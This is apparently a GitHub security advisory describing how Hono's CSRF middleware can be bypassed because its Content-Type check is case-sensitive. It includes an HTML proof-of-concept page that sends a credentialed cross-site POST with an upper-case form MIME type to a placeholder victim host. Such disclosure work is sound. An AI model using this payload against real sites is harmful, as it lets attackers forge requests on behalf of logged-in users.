GHSA-rpfr-3m35-5vx5

Description

### Summary Hono CSRF middleware can be bypassed using crafted Content-Type header. ### Details MIME types are case insensitive, but `isRequestedByFormElementRe` only matches lower-case. https://github.com/honojs/hono/blob/b0af71fbcc6dbe44140ea76f16d68dfdb32a99a0/src/middleware/csrf/index.ts#L16-L17 As a result, attacker can bypass csrf middleware using upper-case form-like MIME type, such as "Application/x-www-form-urlencoded". ### PoC ```html <html> <head> <title>CSRF Test</title> <script defer> document.addEventListener("DOMContentLoaded", () => { document.getElementById("btn").addEventListener("click", async () => { const res = await fetch("http://victim.example.com/test", { method: "POST", credentials: "include", headers: { "Content-Type": "Application/x-www-form-urlencoded", }, }); }); }); </script> </head> <body> <h1>CSRF Test</h1> <button id="btn">Click me!</button> </body> </html> ``` ### Impact Bypass csrf protection implemented with hono csrf middleware. ### Discussion I'm not sure that omitting csrf checks for Simple POST request is a good idea. CSRF prevention and CORS are different concepts even though CORS can prevent CSRF in some cases.